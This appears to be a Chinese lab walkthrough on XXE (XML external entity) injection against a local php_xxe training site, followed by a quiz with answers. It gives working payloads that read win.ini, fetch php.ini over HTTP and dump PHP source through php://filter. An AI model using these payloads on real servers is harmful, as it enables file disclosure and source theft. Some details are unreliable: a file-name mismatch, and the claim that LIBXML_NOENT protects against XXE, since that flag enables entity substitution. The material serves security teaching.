题目1:平台搭建
你需要搭建一个名为 php_xxe 的本地 Web 环境,并演示如何利用 XXE(XML 外部实体注入)漏洞读取服务器上的文件。
1. 环境准备
你需要一个集成了 PHP 环境的 Web 服务器软件,推荐使用 phpStudy、WampServer 或 XAMPP。这里以最常用的 phpStudy 为例。
2. 部署步骤

- 找到 phpStudy 的网站根目录,通常是 WWW 文件夹(例如 C:\\phpstudy_pro\\WWW)。
- 将你下载好的 php_xxe 文件夹(即你截图中显示的包含 index.html、doLogin.php 等文件的文件夹)复制粘贴到这个 WWW 目录下。

- 打开浏览器。
- 在地址栏输入:http://localhost/php_xxe/ 或者 http://127.0.0.1/php_xxe/。
- 如果页面正常加载出登录界面,说明平台搭建成功。

你已经成功搭建了 php_xxe 平台并看到了登录界面。接下来的操作是利用 XXE(XML 外部实体注入) 漏洞来读取服务器上的文件。
这个靶场的工作原理是:点击“LOGIN”后,前端会将数据封装成 XML 格式发送给后端 PHP 处理。我们需要拦截这个请求,修改其中的 XML 代码,从而让服务器去读取它本不该读取的文件。
靶场文件目录:

题目2:利用 XXE(XML 外部实体注入) 漏洞来读取服务器上的文件

第一步:抓取数据包(抓包)
你需要使用抓包工具(如 Burp Suite 或浏览器插件 HackBar / F12开发者工具)来拦截登录请求。
第二步:构造 Payload(攻击载荷)
在拦截到的数据包中,找到请求体(Request Body),你会看到原始的 XML 数据。你需要将其修改为包含恶意实体的代码。

(1)修改 XML 数据(构造 Payload)
你需要删除原本的 <user>…</user> 部分,替换成包含恶意定义的 XML 代码。
操作方法:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user>
<username>&test;</username>
<password>123</password>
</user>
代码解释:
- <!ENTITY test SYSTEM "…">:定义了一个名为 test 的外部实体,指向本地文件 c:/windows/win.ini。
- <username>&test;</username>:告诉服务器,“把 username 的值替换为 test 这个实体所代表的文件内容”。

(2)发送请求
![示意图]
- 头部保持原样。
- 底部变成了我们刚才写的带有 <!DOCTYPE 的代码。
(3)查看结果
- 页面可能会报错,或者在原本显示“登录失败/用户名错误”的地方,直接打印出了 win.ini 文件的内容(通常是以 ; for 16-bit app support 开头的一大段文字)。
- 这说明服务器已经把 win.ini 的内容读出来并返回给你了。
(4)截图保存
题目要求截图,你需要截取以下两个画面之一作为证据:

题目3:用 HTTP 协议读取站点下的文件

这一步的核心思路是:利用你的靶机(127.0.0.1)去请求它自己服务器上的另一个网页或文件。如果成功,服务器会把那个文件的内容当作“用户名”返回给你。
以下是具体操作步骤:
第一步:确定你要读取的文件路径
题目参考代码里写的是 http://127.0.0.1/dvwa/php.ini。
- 注意:这里的 /dvwa/ 是 DVWA 靶场的目录名。如果你当前是在 php_xxe 环境下做题,你需要确认你想读取的文件到底在哪里。
- 通用做法:通常我们尝试读取网站根目录下的配置文件,比如 http://127.0.0.1/php.ini 或者 http://127.0.0.1/index.php。
第二步:构造 Payload(攻击载荷)
回到你的 Burp Suite(或者 HackBar),将请求体中的 XML 修改为以下内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "http://127.0.0.1/php.ini">
]>
<user>
<username>&test;</username>
<password>123</password>
</user>

关键点解析:
- SYSTEM "http://127.0.0.1/php.ini":这里把之前的 file:/// 换成了 http://。意思是让服务器发起一个 HTTP 请求去访问本地的 php.ini 文件。
- <username>&test;</username>:依然是在用户名处触发实体引用。
第三步:发送并查看结果
- 如果成功:你会看到一大段文本,那是 PHP 配置文件(php.ini)的内容,或者是该网页的 HTML 源代码。
- 如果失败:可能会提示连接超时或文件不存在(404)。如果是这样,尝试修改 URL 路径,例如改成 http://127.0.0.1/index.html 试试。
题目4:用 php://filter 读取 PHP 文件。

这是一个非常经典的 XXE 利用技巧。因为直接读取 .php 文件时,服务器会先执行代码而不是输出源码(你会看到空白或报错),所以我们需要利用 php://filter 协议将文件内容进行 Base64 编码,这样就能绕过执行,直接把源码“骗”出来。
操作步骤
第一步:构造 Payload
回到你的 Burp Suite(拦截请求的界面),将 XML 请求体修改为以下内容:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>&test;</username>
<password>123</password>
</user>
关键点解析:
- php://filter/…:这是 PHP 特有的流包装器。
- read=convert.base64-encode:告诉服务器在读取文件时,先把内容转成 Base64 字符串。
- resource=flag.php:指定你要读取的目标文件是 flag.php(通常这个文件里藏着题目的 Flag)。

第二步:发送请求
点击 Burp Suite 右上角的 「Forward」 按钮发送数据包。

第三步:解码获取 Flag
- 复制这串 Base64 字符。
- 使用在线工具(搜索“Base64 解码”)或者 HackBar 的解码功能进行解码。
总结
这一题的核心在于 “编码绕过”。如果不加 convert.base64-encode,服务器尝试把 flag.php 当作普通文本读入 XML 解析器时,可能会因为 PHP 标签 <?php 导致 XML 解析错误,或者直接执行了 PHP 代码导致你看不到源码。通过 Base64 编码,就把代码变成了纯文本数据,从而成功读取。
客观题
一、 单选题
1. 以下哪个是正确的外部实体定义?
- A. <!ENTITY xxe "file:///etc/passwd">
- B. <!ENTITY xxe SYSTEM "file:///etc/passwd">
- C. <!ENTITY % xxe SYSTEM "file:///etc/passwd">
- D. &xxe; SYSTEM "file:///etc/passwd"
✅ 正确答案:B
💡 解析:
- A 是内部实体定义,不是外部实体。
- B 是标准的外部实体定义语法:<!ENTITY 实体名 SYSTEM "URI">。
- C 是参数实体的定义(注意 %),且参数实体通常用于 DTD 内部,不能直接在文档内容中用 &xxe; 引用。
- D 语法完全错误。
2. (单选题, 5分) 参数实体的正确语法是?
- A. <!ENTITY % name "value"> 和 &name;
- B. <!ENTITY name "value"> 和 %name;
- C. <!ENTITY % name "value"> 和 %name;
- D. <!ENTITY name SYSTEM "value"> 和 &name;
✅ 正确答案:C
💡 解析:
- 参数实体在定义时需要在 ENTITY 后加 %:<!ENTITY % name "value">。
- 在引用参数实体时,也必须用 % 包裹:%name;(注意分号不能少)。
- 普通实体才是用 &name; 引用。
二、 填空题
3. (填空题, 10分) 补全以下 XXE Payload,使其读取 /etc/hostname 文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "__________">
]>
<root>__________</root>
✅ 第1空答案: file:///etc/hostname
✅ 第2空答案: &xxe;
💡 解析:
- 第1空:外部实体需要指定协议和路径,读取本地文件使用 file:// 协议,所以填 file:///etc/hostname(注意是三个斜杠)。
- 第2空:在 XML 标签内容中引用实体,使用 &实体名; 的格式,所以填 &xxe;。
三、 判断题
4. (判断题, 5分) 使用 file:// 协议只能读取文本文件。
正确答案:B (错)
💡 解析:
file:// 协议可以读取任何文件,包括二进制文件(如图片、可执行文件、PDF等)。
- 如果是文本文件,内容会直接回显。
- 如果是二进制文件,内容会以乱码或原始字节流形式返回,虽然人眼看不懂,但确实读取到了。
- 补充: 如果想把二进制文件转成 Base64 方便查看,需要配合 php://filter 伪协议,而不是 file:// 本身的限制。
5. (判断题, 5分) 审计代码,下列代码不存在 XXE 漏洞。
<?php
function parseXML($input) {
$xml = simplexml_load_string($input);
return $xml->getName();
}
$userData = $_POST['xml_data'];
echo parseXML($userData);
?>
正确答案:B (错)
💡 解析:
这段代码存在 XXE 漏洞!
- simplexml_load_string() 在 PHP 默认配置下(尤其是旧版本或未显式禁用外部实体的情况下)会解析外部实体。
- 代码直接将用户输入的 $_POST['xml_data'] 传入解析函数,没有任何过滤或安全配置(如 LIBXML_NOENT 禁用或 libxml_disable_entity_loader(true))。
- 攻击者可以构造恶意 XML,读取服务器文件或发起 SSRF 攻击。
网硕互联帮助中心




评论前必须登录!
注册